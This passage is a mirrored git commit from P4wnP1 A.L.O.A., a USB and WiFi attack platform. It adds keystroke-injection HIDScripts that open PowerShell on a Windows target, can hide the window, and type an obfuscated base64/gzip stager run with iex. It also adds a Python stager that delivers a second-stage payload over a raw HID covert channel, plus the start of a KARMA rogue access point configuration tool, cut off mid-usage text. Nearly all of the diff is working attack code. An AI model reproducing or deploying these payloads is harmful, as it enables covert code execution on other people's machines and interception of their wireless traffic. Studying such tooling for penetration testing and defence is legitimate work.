mirror of
https://github.com/RoganDawes/P4wnP1_aloa.git
synced 2025-03-17 13:21:50 +01:00
Added WiFi covert channel demo, added KARMA tool, Updated Makefile and README
This commit is contained in:
parent
4a92671188
commit
cf19d964c6
1
Makefile
1
Makefile
@ -82,6 +82,7 @@ installkali:
|
||||
cp -R dist/db /usr/local/P4wnP1/
|
||||
cp -R dist/helper /usr/local/P4wnP1/
|
||||
cp -R dist/ums /usr/local/P4wnP1/
|
||||
cp -R dist/legacy /usr/local/P4wnP1/
|
||||
cp build/webapp.js /usr/local/P4wnP1/www
|
||||
cp build/webapp.js.map /usr/local/P4wnP1/www
|
||||
|
||||
|
@ -1409,7 +1409,7 @@ Work in progress, missing sections:
|
||||
- HIDScript Trigger variables (variables handed in to HIDScripts fired from TriggerActions)
|
||||
- HIDScript helpers (powershell functions)
|
||||
- HIDScript demo snake (mouse)
|
||||
- USB Mass storage
|
||||
- USB Mass storage (genimg helper)
|
||||
|
||||
## 4. Rescue: Help, I can't reach P4wnP1 A.L.O.A. as i messed up the configuration
|
||||
|
||||
|
77
dist/HIDScripts/helper.js
vendored
Executable file
77
dist/HIDScripts/helper.js
vendored
Executable file
@ -0,0 +1,77 @@
|
||||
/*
|
||||
Common helper methods for HID attacks
|
||||
author: MaMe82
|
||||
*/
|
||||
|
||||
ps_wow64='%SystemRoot%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe'
|
||||
ps="powershell.exe"
|
||||
|
||||
// sets typing speed to "natural" (global effect on all running script jobs)
|
||||
function natural() {
|
||||
typingSpeed(100,150) // Wait 100ms between key strokes + an additional random value between 0ms and 150ms (natural)
|
||||
}
|
||||
|
||||
// sets typing speed as fast as possible
|
||||
function fast() {
|
||||
typingSpeed(0,0)
|
||||
}
|
||||
|
||||
// Open an interactive PowerShell console (host architecture)
|
||||
function startPS() {
|
||||
press("GUI r");
|
||||
delay(500);
|
||||
type("powershell\n")
|
||||
}
|
||||
|
||||
// Hide an already opened PowerShell console, but keep input focus, to gon on typing
|
||||
function hidePS() {
|
||||
type('$h=(Get-Process -Id $pid).MainWindowHandle;$ios=[Runtime.InteropServices.HandleRef];$hw=New-Object $ios (1,$h);$i=New-Object $ios(2,0);(([reflection.assembly]::LoadWithPartialName("WindowsBase")).GetType("MS.Win32.UnsafeNativeMethods"))::SetWindowPos($hw,$i,0,0,100,100,16512)')
|
||||
press("ENTER");
|
||||
}
|
||||
|
||||
// On a powershell prompt, check if the running PS is 32bit, start an inline 32bit PowerShell, otherwise.
|
||||
function assurePS32() {
|
||||
type("if ([IntPtr]::Size -ne 4){& $env:SystemRoot\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe}\n");
|
||||
delay(500);
|
||||
}
|
||||
|
||||
// Uses search bar and CTRL+SHIFT+ENTER to run given program as admin (assumes user is admin, only confirms UAC dialog)
|
||||
function win10AsAdmin(program) {
|
||||
press("GUI"); //open search
|
||||
delay(200);
|
||||
type(program); //enter target binary
|
||||
delay(500); // wait for search to finish
|
||||
press("CTRL SHIFT ENTER"); //start with CTRL+SHIFT+ENTER (run as admin)
|
||||
delay(500); //wait for confirmation dialog (no check if a password is required, assume login user is admin)
|
||||
press("SHIFT TAB"); //switch to dialog confirmation
|
||||
press("ENTER");
|
||||
}
|
||||
|
||||
// Streams PS code via a HID channel into memory and executes the received result with IEX.
|
||||
// The second stage code has to be provided by hidstager.py.
|
||||
// PID and VID in used by the raw HID device have to be provided as string arguments in format "1D6B", "4137".
|
||||
//
|
||||
// The advantages of delivery via raw HID:
|
||||
// - the channel allows to transfer large payloads silently (about 32KByte/s on USB 2.0)
|
||||
// - the payload goes to memory, not to disk
|
||||
// - combined with hidePS, typing out his stager could be done nearly invisible (2131 characters have to be typed here)
|
||||
// The disadvantages of delivery via raw HID:
|
||||
// - the payload is executed with Invoke-Expression (iex) after transfer, which is 'loud' again
|
||||
// - the PID and VID of the (raw) HID device in use have to be known, in order to allow the stager to identify the device
|
||||
// (the stager manages to find the correct interface itself, if multiple HID interfaces, like keyboard and mouse, are up)
|
||||
function hidDownAndIEX(vid, pid) {
|
||||
type("$USB_VID='"+ vid +"';$USB_PID='" + pid +"';");
|
||||
type("$b='H4sIAAAAAAAEAKVXbU/bSBD+jsR/sFzfxRGJ5VBaISR0Bwm0kUobNXA9XbDQxh4ne9jeaL1OG/X47zezu7YT2lSqCoLYuzPPPPO6m8ODtCpixUXhfIQ0g1gNJTAF1zyDG1BLkfjdw4OvhwdeInLn3JldrFYjkTNeRGdnw0pKKJR5JxGGEu/hc//D/F9EqhERPLgoS8jn2eY9y8F3b9gNnB6PNkW97KIRj81RnewEI0h5AbjPch7XMj7i95zZFuhVzlWDfFnxLAF5EcdQlkjuY1UQaK5B2XwX80YkVbZNxCy4Pce7ZlkJpKm0Zl5r3m5WjQLKuZNqnvG45wwzVpaaf5xShFDPatj4uW1E3V3+RuBCKcnnlYIyalGniikek/y4UBMlI3wiBrMocv70Z1NUKRaR2X55TA93zVOrcbd/1+lqygmnpGKsFM8hwD2QYjUFueYYxmCUZeN8JaRqOEbBG1BDUZRKVrES0m/JGMCUacDWyWsOWTIuUmGp/6Qtre67V4WSm4nghXK7vZ8mbEEmEkqUhClf/ALKFNQ7VqorKYX8BZghyzIMG8ZyjT2EkfoVrCWTSMu1KUjXOgmmC03Yd4vQu5UVNB97jX5DEdvqEy/Yiv9IyXBB0YtKCUMo3j8YdA8Pq1KJvHHNtrJP5dkj8o8gC8heHgdJllGYqMz0f/TUdl6ANp/B+NqyaeXA+K+bGFeeDtu510YGCxlYfi1FPgJyZsLU0vfyPM7QX1vljrfCVTsTl3pC4D7OwgbF1xJNa4Z/D0PzQ0sfAhJphxSw5JPkCtrGPDv7B+PZyuJkAlz8sIKi7ePwy8kW6LaiHqREixhcCpEBK6KQYnQ+u+GxFKVIVYBZxGhOWQpvWZFkmDZ6JnPm/Xmbl353Fka1xzEmfS0e0VMd3ZSd73eM6JwTGY9SZmPy+mSL3MCQswgmB9+zPzhBAhJUJYvnFLbTWUKRPCRMMd9LEQ8Nl6KSMT0kUCr6wE38kBADX0Nic8nPKUrzDc7h3WK9xKVZ5PivX3VrgZnHj44i6jF6jZxw34a1vXebGO3fRJ7BOygWarlXpnZCn74oPhSrza3wjTQ6yYlzAmsKRaAT0uxh6ZhHa+NZHDEN23G0UZI/ik0s9QFurVEJ+J7shT2zawIsgabYA09IVBp/cLmU8e5CUqpnEsUzFRmvdxfycvF9dqSLDGYXUrIN3VswSMQMw4N/qGaCYaTqCkNGVCu6YnCHCiZeG/HdQGGlbo+Lu+nlw1/jEUrS02Q8spF7Ox69qXhy7n49SQbw6tX8uJ8OXqf9wSBO+6en8bwfhgP8oaZ+GT65aEFgDuIl8v+cc4yqwwtngY+O7t4HhMcOUVJkGUjDwPnvt68zlIh87wEvITgyEhzc3Sen6yAFnjZQgZEfj5x+zhTZcGvirnPkdH5H3g8dfHJrL9yu08fR4OwF6KCDHSvUL4RqJO3JoClQcdB0xDy59/d/3JOxWm7yflKDYu2sMhaD37nv9DovEBaZvNDCNow6BU8toHmhUYzQe26yKECi57sZc2rHm4S1HYNYPz4dzPQ3ZwI1gMBDEZX6NNNKxRZwTJ5iLj3IV2rz/fIMsULwdqPL5POSzPpNE+2OZQwsOF5RZZkpqmbWNV3nhPhrjYXa4fgRiFLTzo2oLQgjgdNdg4cGOMbC4kUFOqzbYoP9Yl6l0lMaTbfwRQVXRSwSOjDPzu5ur09pnpsTtIE6iboWmxQDvPFKVX7i2EMuubUEfJ9j8OvK8214+wuF9g2BObr12JL8BmgOC15sQ9lmrBOFIZrRMYMnEd1taD6+w5s7XvIIxDHTFUk7JpmumZGA3xC0vZpQE5A66Uc4mIhMYwoXBt/a8t3AQj7tI2IB0U/zPQcS0uDwxbG2zDDCW1mWbew3NVs7w0yU+rbTrIx4ubJrqHR48D9inn4F/g0AAA==';nal no New-Object -F;iex (no IO.StreamReader(no IO.Compression.GZipStream((no IO.MemoryStream -A @(,[Convert]::FromBase64String($b))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()");
|
||||
press("ENTER");
|
||||
}
|
||||
|
||||
layout('de'); // US keyboard layout
|
||||
fast();
|
||||
|
||||
startPS();
|
||||
delay(500);
|
||||
assurePS32();
|
||||
delay(500);
|
||||
//hidePS();
|
||||
//delay(500);
|
||||
hidDownAndIEX("1D6B", "1347");
|
26
dist/HIDScripts/onattach.js
vendored
26
dist/HIDScripts/onattach.js
vendored
@ -1,26 +0,0 @@
|
||||
// Creds to "Mohamed A. Baset" @SymbianSyMoh (see https://twitter.com/SymbianSyMoh/status/987140763673706496)
|
||||
|
||||
// Endless looping script moves mouse on any new LED report
|
||||
|
||||
while(true) {
|
||||
// waitLED(ANY_OR_NONE) blocks till any LED of the P4wnP1 keyboard changes.
|
||||
// The special flag "ANY_OR_NONE" additionally triggers, if a new LED state arrives, which doesn't differ from the
|
||||
// old state, at all.
|
||||
// On Windows and some Linux OS, all attached keyboards share a global LED state. In order to show the correct state
|
||||
// on a newly attached keyboard, it has to be sent from the windows host to the external keyboard, at least once.
|
||||
// As P4wnP1 saves the LED state internally in order to detect changes, it could happen, that a newly received state
|
||||
// doesn't differ from the internal one (it would be ignored by waitLED(ANY) for example).
|
||||
// `waitLED(ANY_OR_NONE)` assures that unchanged states are reported, too. This again allows to trigger the
|
||||
// fellow commands, as soon as P4wnP1 is attached to a windows host.
|
||||
//
|
||||
// It seems that this technique couldn't be used on OSX, as users reported, that the LED state on OSX is handled
|
||||
// per keyboard, not globally.
|
||||
waitLED(ANY_OR_NONE); // wait for new LED report, even if there's no change
|
||||
|
||||
// move mouse to indicate success
|
||||
moveStepped(200,0);
|
||||
moveStepped(0,-200);
|
||||
moveStepped(-200,0);
|
||||
moveStepped(0,200);
|
||||
delay(1000);
|
||||
}
|
7
dist/HIDScripts/test1.js
vendored
7
dist/HIDScripts/test1.js
vendored
@ -1,7 +0,0 @@
|
||||
waitLED(ANY);
|
||||
|
||||
moveStepped(200,0);
|
||||
moveStepped(0,-200);
|
||||
moveStepped(-200,0);
|
||||
moveStepped(0,200);
|
||||
|
81
dist/HIDScripts/wifi_covert_channel.js
vendored
Executable file
81
dist/HIDScripts/wifi_covert_channel.js
vendored
Executable file
@ -0,0 +1,81 @@
|
||||
/*
|
||||
WiFi covert channel, initial stage (keystroke injection)
|
||||
author: MaMe82
|
||||
|
||||
This isn't a stand-alone HIDScript. It is meant to be used as part of the Master Template "Wifi covert channel"
|
||||
in order to met all the dependencies.
|
||||
|
||||
Two options could be changed in this script:
|
||||
1) The keyboard language to type out the iniial stage
|
||||
2) The hide option. If disabled the powershell window on the target host isn't hidden, to allow
|
||||
easy debugging.
|
||||
|
||||
Dependencies:
|
||||
- this HIDScript is started as part of the TriggerActions named "wifi_covert_channel"
|
||||
and triggered as soon as a new USB to host connection is detected
|
||||
- the script runs stage1 (keystroke injection), stage 2 is delivered via a HID covert channel
|
||||
- to make the HID covert channel work:
|
||||
a) the USB gadget needs to have 'Custom HID device' enabled in addition to keyboard
|
||||
b) the HID covert channel stager (hidstager.py) has to be started and ready to serve
|
||||
the stage2 PowerShell script
|
||||
- condition a) is assured by an USB gadget template, called 'wifi_covert_channel'
|
||||
- condition b) gets satisfied by a bash script (wifi_covert_channel.sh) bashscript, which
|
||||
starts the stager and additionally the "WiFi covert channel C2 server"
|
||||
- the aforementioned bash script is started by a second trigger action, which is part
|
||||
TriggerActio templated named "wifi_covert_channel", too
|
||||
- so two conditions are assured by TriggerActions (starting HID stager+WiFi covert channel server
|
||||
and running this HIDScript against the target host), but the remaining condition (deploy proper USB
|
||||
gadget settings, once) has to be met, too.
|
||||
- To tie everything together, the TriggerAction template and the USB gadget settings have been wrapped
|
||||
together into a Master Template called 'wifi covert channel', which could be load on startup or on demand.
|
||||
|
||||
Controlling the server:
|
||||
- The WiFi covert channel server is bound to a screen session called 'wifi_c2' and could attached
|
||||
to a SSH session by running:
|
||||
$ screen -d -r wifi_c2
|
||||
*/
|
||||
|
||||
language="us";
|
||||
hide=false; // set to true to hide the console window on the target
|
||||
|
||||
// Hide an already opened PowerShell console, but keep input focus, to gon on typing
|
||||
function hidePS() {
|
||||
type('$h=(Get-Process -Id $pid).MainWindowHandle;$ios=[Runtime.InteropServices.HandleRef];$hw=New-Object $ios (1,$h);$i=New-Object $ios(2,0);(([reflection.assembly]::LoadWithPartialName("WindowsBase")).GetType("MS.Win32.UnsafeNativeMethods"))::SetWindowPos($hw,$i,0,0,100,100,16512)')
|
||||
press("ENTER");
|
||||
}
|
||||
|
||||
// On a powershell prompt, check if the running PS is 32bit, start an inline 32bit PowerShell, otherwise.
|
||||
function assurePS32() {
|
||||
type("if ([IntPtr]::Size -ne 4){& $env:SystemRoot\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe}\n");
|
||||
delay(500);
|
||||
}
|
||||
|
||||
|
||||
// See helper.js for details
|
||||
function hidDownAndIEX(vid, pid) {
|
||||
type("$USB_VID='"+ vid +"';$USB_PID='" + pid +"';");
|
||||
type("$b='H4sIAAAAAAAEAKVXbU/bSBD+jsR/sFzfxRGJ5VBaISR0Bwm0kUobNXA9XbDQxh4ne9jeaL1OG/X47zezu7YT2lSqCoLYuzPPPPO6m8ODtCpixUXhfIQ0g1gNJTAF1zyDG1BLkfjdw4OvhwdeInLn3JldrFYjkTNeRGdnw0pKKJR5JxGGEu/hc//D/F9EqhERPLgoS8jn2eY9y8F3b9gNnB6PNkW97KIRj81RnewEI0h5AbjPch7XMj7i95zZFuhVzlWDfFnxLAF5EcdQlkjuY1UQaK5B2XwX80YkVbZNxCy4Pce7ZlkJpKm0Zl5r3m5WjQLKuZNqnvG45wwzVpaaf5xShFDPatj4uW1E3V3+RuBCKcnnlYIyalGniikek/y4UBMlI3wiBrMocv70Z1NUKRaR2X55TA93zVOrcbd/1+lqygmnpGKsFM8hwD2QYjUFueYYxmCUZeN8JaRqOEbBG1BDUZRKVrES0m/JGMCUacDWyWsOWTIuUmGp/6Qtre67V4WSm4nghXK7vZ8mbEEmEkqUhClf/ALKFNQ7VqorKYX8BZghyzIMG8ZyjT2EkfoVrCWTSMu1KUjXOgmmC03Yd4vQu5UVNB97jX5DEdvqEy/Yiv9IyXBB0YtKCUMo3j8YdA8Pq1KJvHHNtrJP5dkj8o8gC8heHgdJllGYqMz0f/TUdl6ANp/B+NqyaeXA+K+bGFeeDtu510YGCxlYfi1FPgJyZsLU0vfyPM7QX1vljrfCVTsTl3pC4D7OwgbF1xJNa4Z/D0PzQ0sfAhJphxSw5JPkCtrGPDv7B+PZyuJkAlz8sIKi7ePwy8kW6LaiHqREixhcCpEBK6KQYnQ+u+GxFKVIVYBZxGhOWQpvWZFkmDZ6JnPm/Xmbl353Fka1xzEmfS0e0VMd3ZSd73eM6JwTGY9SZmPy+mSL3MCQswgmB9+zPzhBAhJUJYvnFLbTWUKRPCRMMd9LEQ8Nl6KSMT0kUCr6wE38kBADX0Nic8nPKUrzDc7h3WK9xKVZ5PivX3VrgZnHj44i6jF6jZxw34a1vXebGO3fRJ7BOygWarlXpnZCn74oPhSrza3wjTQ6yYlzAmsKRaAT0uxh6ZhHa+NZHDEN23G0UZI/ik0s9QFurVEJ+J7shT2zawIsgabYA09IVBp/cLmU8e5CUqpnEsUzFRmvdxfycvF9dqSLDGYXUrIN3VswSMQMw4N/qGaCYaTqCkNGVCu6YnCHCiZeG/HdQGGlbo+Lu+nlw1/jEUrS02Q8spF7Ox69qXhy7n49SQbw6tX8uJ8OXqf9wSBO+6en8bwfhgP8oaZ+GT65aEFgDuIl8v+cc4yqwwtngY+O7t4HhMcOUVJkGUjDwPnvt68zlIh87wEvITgyEhzc3Sen6yAFnjZQgZEfj5x+zhTZcGvirnPkdH5H3g8dfHJrL9yu08fR4OwF6KCDHSvUL4RqJO3JoClQcdB0xDy59/d/3JOxWm7yflKDYu2sMhaD37nv9DovEBaZvNDCNow6BU8toHmhUYzQe26yKECi57sZc2rHm4S1HYNYPz4dzPQ3ZwI1gMBDEZX6NNNKxRZwTJ5iLj3IV2rz/fIMsULwdqPL5POSzPpNE+2OZQwsOF5RZZkpqmbWNV3nhPhrjYXa4fgRiFLTzo2oLQgjgdNdg4cGOMbC4kUFOqzbYoP9Yl6l0lMaTbfwRQVXRSwSOjDPzu5ur09pnpsTtIE6iboWmxQDvPFKVX7i2EMuubUEfJ9j8OvK8214+wuF9g2BObr12JL8BmgOC15sQ9lmrBOFIZrRMYMnEd1taD6+w5s7XvIIxDHTFUk7JpmumZGA3xC0vZpQE5A66Uc4mIhMYwoXBt/a8t3AQj7tI2IB0U/zPQcS0uDwxbG2zDDCW1mWbew3NVs7w0yU+rbTrIx4ubJrqHR48D9inn4F/g0AAA==';nal no New-Object -F;iex (no IO.StreamReader(no IO.Compression.GZipStream((no IO.MemoryStream -A @(,[Convert]::FromBase64String($b))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()");
|
||||
press("ENTER");
|
||||
}
|
||||
|
||||
layout(language); //set keyboard layout according to the language variable (if this command is ommited, the current layout is used)
|
||||
typingSpeed(0,0); // type as fast as possible
|
||||
|
||||
// The script is started, as soon as a USB host connection is detected.
|
||||
// A connection doesn't necessarily mean the remote host has the HID keyboard driver up already.
|
||||
// To account for this, we wait for a keyboard report (no matter if it results in 'ANY_OR_NONE' LED state change
|
||||
// we are only interested in an arriving LED report, which is sent by windows after keyboard driver initialization).
|
||||
// After 5 seconds of waiting, we go on in any case.
|
||||
waitLED(ANY_OR_NONE, 5000);
|
||||
|
||||
// start an unprivileged PowerShell console
|
||||
press("GUI r");
|
||||
delay(500);
|
||||
type("powershell\n");
|
||||
delay(500);
|
||||
|
||||
if (hide) { hidePS(); } //hide the console if choosen to do so
|
||||
delay(500);
|
||||
assurePS32(); // open a 32bit console, if the current one is 64bit
|
||||
delay(500);
|
||||
hidDownAndIEX("1D6B", "1315");
|
65
dist/bin/genimage.sh
vendored
65
dist/bin/genimage.sh
vendored
@ -1,65 +0,0 @@
|
||||
#!/bin/bash
|
||||
|
||||
# requires genisoimage package
|
||||
# usage: genimage.sh <outfile> <type = cdrom || flashdrive> [volume label] [size]
|
||||
|
||||
|
||||
ISO_FOLDER="/tmp/iso"
|
||||
VOL_ID="Test_CD"
|
||||
OUTFILE="/tmp/cdrom.iso"
|
||||
OUTFILE2="/tmp/image.bin"
|
||||
size="128" # only used for flashdrive, given in Megabyte
|
||||
|
||||
function create_cdrom_image() {
|
||||
rm -R $ISO_FOLDER # in case it exists
|
||||
mkdir $ISO_FOLDER
|
||||
printf "Hello World!\r\nP4wnP1" > $ISO_FOLDER/hello.txt
|
||||
|
||||
# generate iso
|
||||
genisoimage -udf -joliet-long -V $VOL_ID -o $OUTFILE $ISO_FOLDER
|
||||
}
|
||||
|
||||
function create_block_vfat_image() {
|
||||
dd if=/dev/zero of=$OUTFILE2 bs=1M count=$size
|
||||
#mkdosfs $OUTFILE # create vfat
|
||||
mk.vfat $OUTFILE # create vfat
|
||||
}
|
||||
|
||||
function loop_mount() {
|
||||
# find free loop device
|
||||
loopdev=$(losetup -f)
|
||||
|
||||
losetup $loopdev $OUTFILE2
|
||||
|
||||
# mounting the image to /mnt
|
||||
# Note: If the image is used by USB Mass Storage currently, the behavior is unpredictable
|
||||
# Based on observation, local changes to the mounted block device have no effect, but
|
||||
# (external) changes to the USB Mass Storage have an effect. This behavior doesn't change
|
||||
# if the loop mount is done with Direct-IO or the loop device is mounted with -o=sync.
|
||||
#
|
||||
# In addtion, binding vfat images to USB Mass Storage with CD-Rom emulation doesn't work,
|
||||
# it seems the filesystem has to be ISO9660.
|
||||
#
|
||||
# Last but not least, even if the USB Mass Storage is flagged as removable, resetting the
|
||||
# backing file to "" only works if the target host hasn't mounted the image (very unlikely
|
||||
# with automount, like on Windows). There's no "forced" unmount possible from P4wnP1's end,
|
||||
# therefor the whole gadget hast to be disabled and re-enabled (not reinitialized) to bring
|
||||
# up another volume. This will interrupt other USB functions enabled on the current composite gadget.
|
||||
#
|
||||
# Conclusion:
|
||||
# The backing service should allow mounting of image files only to loopback OR USB Mass Storage,
|
||||
# not both.
|
||||
# UMS backing image file and operation mode will be integrated into gadgetsettings (could only
|
||||
# be changed on reinitialization) because of the observation according removable devices and the
|
||||
# lacking possibility to change the backing file, once the device is mounted by the target host.
|
||||
mount -t vfat -o loop $OUTFILE /mnt
|
||||
|
||||
# to detach loopdefv:
|
||||
# losetup -d $loopdev
|
||||
|
||||
# to mount image filesystem
|
||||
# mount -t vfat -o loop $OUTFILE2 $MOUNTPOINT
|
||||
}
|
||||
|
||||
create_cdrom_image
|
||||
create_block_vfat_image
|
20
dist/bin/monassure
vendored
20
dist/bin/monassure
vendored
@ -1,20 +0,0 @@
|
||||
#!/bin/bash
|
||||
interface=wlan0mon
|
||||
echo -n "Create monitor mode interface ${interface}... "
|
||||
iw phy phy0 interface add ${interface} type monitor 2> /dev/null 1> /dev/null
|
||||
if [ $? -eq 0 ]; then
|
||||
echo "success"
|
||||
else
|
||||
echo "failed, already created ?"
|
||||
fi
|
||||
|
||||
echo -n "Trying to enable ${interface}... "
|
||||
ifconfig ${interface} up 2> /dev/null
|
||||
if [ $? -eq 0 ]; then
|
||||
echo "success, ${interface} is up"
|
||||
exit 0
|
||||
else
|
||||
echo "failed"
|
||||
exit 1
|
||||
fi
|
||||
|
BIN
dist/db/init.db
vendored
BIN
dist/db/init.db
vendored
Binary file not shown.
169
dist/legacy/hidstager.py
vendored
Executable file
169
dist/legacy/hidstager.py
vendored
Executable file
@ -0,0 +1,169 @@
|
||||
#!/usr/bin/python
|
||||
|
||||
|
||||
# This file is part of P4wnP1 A.L.O.A.
|
||||
#
|
||||
# Copyright (c) 2018, Marcus Mengs.
|
||||
#
|
||||
# P4wnP1 is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# P4wnP1 is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with P4wnP1 A.L.O.A. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
|
||||
import sys
|
||||
import struct
|
||||
import Queue
|
||||
import getopt
|
||||
|
||||
|
||||
|
||||
chunks = lambda A, chunksize=60: [A[i:i+chunksize] for i in range(0, len(A), chunksize)]
|
||||
|
||||
# single packet for a data stream to send
|
||||
# 0: 1 Byte src
|
||||
# 1: 1 Byte dst
|
||||
# 2: 1 Byte snd
|
||||
# 3: 1 Byte rcv
|
||||
# 4-63 60 Bytes Payload
|
||||
|
||||
# reassemable received and enqueue report fragments into full streams (separated by dst/src)
|
||||
def fragment_rcvd(qin, fragemnt_assembler, src=0, dst=0, data=""):
|
||||
stream_id = (src, dst)
|
||||
# if src == dst == 0, ignore (heartbeat)
|
||||
if (src != 0 or dst !=0):
|
||||
# check if stream already present
|
||||
if fragment_assembler.has_key(stream_id):
|
||||
# check if closing fragment (snd length = 0)
|
||||
if (len(data) == 0):
|
||||
# end of stream - add to input queue
|
||||
stream = [src, dst, fragment_assembler[stream_id][2]]
|
||||
qin.put(stream)
|
||||
# delete from fragment_assembler
|
||||
del fragment_assembler[stream_id]
|
||||
else:
|
||||
# append data to stream
|
||||
fragment_assembler[stream_id][2] += data
|
||||
#print repr(fragment_assembler[stream_id][2])
|
||||
else:
|
||||
# start stream, if not existing
|
||||
data_arr = [src, dst, data]
|
||||
fragment_assembler[stream_id] = data_arr
|
||||
|
||||
def send_packet(f, src=1, dst=1, data="", rcv=0):
|
||||
snd = len(data)
|
||||
#print "Send size: " + str(snd)
|
||||
packet = struct.pack('!BBBB60s', src, dst, snd, rcv, data)
|
||||
#print packet.encode("hex")
|
||||
f.write(packet)
|
||||
|
||||
def read_packet(f):
|
||||
hidin = f.read(0x40)
|
||||
#print "Input received (" + str(len(hidin)) + " bytes):"
|
||||
#print hidin.encode("hex")
|
||||
data = struct.unpack('!BBBB60s', hidin)
|
||||
src = data[0]
|
||||
dst = data[1]
|
||||
snd = data[2]
|
||||
rcv = data[3]
|
||||
# reduce msg to real size
|
||||
msg = data[4][0:snd]
|
||||
return [src, dst, snd, rcv, msg]
|
||||
|
||||
def deliverStage2(hidDevPath, stage2Data, oneshot):
|
||||
# main code
|
||||
qout = Queue.Queue()
|
||||
qin = Queue.Queue()
|
||||
fragment_assembler = {}
|
||||
|
||||
|
||||
# pack stage2 into otherwise empty heartbeat chunks
|
||||
stage2_chunks = chunks(stage2Data)
|
||||
heartbeat_content = []
|
||||
heartbeat_content += ["begin_heartbeat"]
|
||||
heartbeat_content += stage2_chunks
|
||||
heartbeat_content += ["end_heartbeat"]
|
||||
heartbeat_counter = 0
|
||||
|
||||
with open(hidDevPath,"r+b") as f:
|
||||
|
||||
while True:
|
||||
packet = read_packet(f)
|
||||
src = packet[0]
|
||||
dst = packet[1]
|
||||
snd = packet[2]
|
||||
rcv = packet[3]
|
||||
msg = packet[4]
|
||||
|
||||
|
||||
|
||||
fragment_rcvd(qin, fragment_assembler, src, dst, msg)
|
||||
if qout.empty():
|
||||
# empty keep alive (rcv field filled)
|
||||
#send_packet(f=f, src=0, dst=0, data="", rcv=snd)
|
||||
# as the content "keep alive" packets (src=0, dst=0) is ignored
|
||||
# by the PowerShell client, we use them to carry the initial payload
|
||||
# in an endless loop
|
||||
if heartbeat_counter == 0:
|
||||
print "Start new stage2 delivery"
|
||||
if heartbeat_counter == len(heartbeat_content):
|
||||
heartbeat_counter = 0
|
||||
send_packet(f=f, src=0, dst=0, data=heartbeat_content[heartbeat_counter], rcv=snd)
|
||||
if heartbeat_counter == len(heartbeat_content)-1:
|
||||
print "Ended stage2 delivery"
|
||||
if oneshot:
|
||||
# if oneshot is enabled, return after delivery
|
||||
return
|
||||
heartbeat_counter += 1
|
||||
else:
|
||||
packet = qout.get()
|
||||
send_packet(f=f, src=packet[0], dst=packet[1], data=packet[2], rcv=snd)
|
||||
|
||||
|
||||
def main(argv):
|
||||
inputfile = ''
|
||||
outputfile = ''
|
||||
oneshot = False
|
||||
try:
|
||||
opts, args = getopt.getopt(argv,"shi:o:",["infile=","out="])
|
||||
except getopt.GetoptError:
|
||||
print 'hidstager.py -i <inputfile> -o <outputfile> [-s]'
|
||||
sys.exit(2)
|
||||
for opt, arg in opts:
|
||||
if opt == '-h':
|
||||
print 'hidstager.py -i <inputfile> -o <outputfile> [-s]'
|
||||
sys.exit()
|
||||
elif opt in ("-i", "--infile"):
|
||||
inputfile = arg
|
||||
elif opt in ("-o", "--out"):
|
||||
outputfile = arg
|
||||
elif opt == "-s": # single delivery
|
||||
oneshot=True
|
||||
|
||||
if len(inputfile) == 0 or len(outputfile) == 0:
|
||||
print 'Input (stage2 data) and output (raw HID device) have to be given!'
|
||||
sys.exit(2)
|
||||
|
||||
print 'Delivering "', inputfile, '" via raw HID device "', outputfile, '"'
|
||||
if oneshot:
|
||||
print 'Exit after first delivery'
|
||||
|
||||
# Initialize stage one payload, carried with heartbeat package in endless loop
|
||||
#with open("wifi_agent.ps1","rb") as f:
|
||||
with open(inputfile,"rb") as f:
|
||||
stage2=f.read()
|
||||
|
||||
#deliverStage2("/dev/hidg2", stage2)
|
||||
deliverStage2(outputfile, stage2, oneshot)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main(sys.argv[1:])
|
215
dist/legacy/karmatool.py
vendored
Executable file
215
dist/legacy/karmatool.py
vendored
Executable file
@ -0,0 +1,215 @@
|
||||
#!/usr/bin/python
|
||||
|
||||
#!/usr/bin/python
|
||||
|
||||
# This file is part of P4wnP1.
|
||||
#
|
||||
# Copyright (c) 2017, Marcus Mengs.
|
||||
#
|
||||
# P4wnP1 is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# P4wnP1 is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with P4wnP1. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
|
||||
# The command line tool could be used to configure the MaMe82 nexmon firmware mod (KARMA)
|
||||
# for Pi3 / Pi0W while an access point is up and running
|
||||
|
||||
from mame82_util import *
|
||||
import cmd
|
||||
import sys
|
||||
import getopt
|
||||
|
||||
def interact():
|
||||
pass
|
||||
|
||||
def usage():
|
||||
usagescr = '''Firmware configuration tool for KARMA modified nexmon WiFi firmware on Pi0W/Pi3 by MaMe82
|
||||
=========================================================================================
|
||||
|
||||
RePo: https://github.com/mame82/P4wnP1_nexmon_additions
|
||||
Creds to: seemoo-lab for "NEXMON" project
|
||||
|
||||
A hostapd based Access Point should be up and running, when using this tool
|
||||
(see the README for details).
|
||||
|
||||
Usage: python karmatool.py [Arguments]
|
||||
|
||||
Arguments:
|
||||
-h Print this help screen
|
||||
-i Interactive mode
|
||||
-d Load default configuration (KARMA on, KARMA beaconing off,
|
||||
beaconing for 13 common SSIDs on, custom SSIDs never expire)
|
||||
-c Print current KARMA firmware configuration
|
||||
-p 0/1 Disable/Enable KARMA probe responses
|
||||
-a 0/1 Disable/Enable KARMA association responses
|
||||
-k 0/1 Disable/Enable KARMA association responses and probe responses
|
||||
(overrides -p and -a)
|
||||
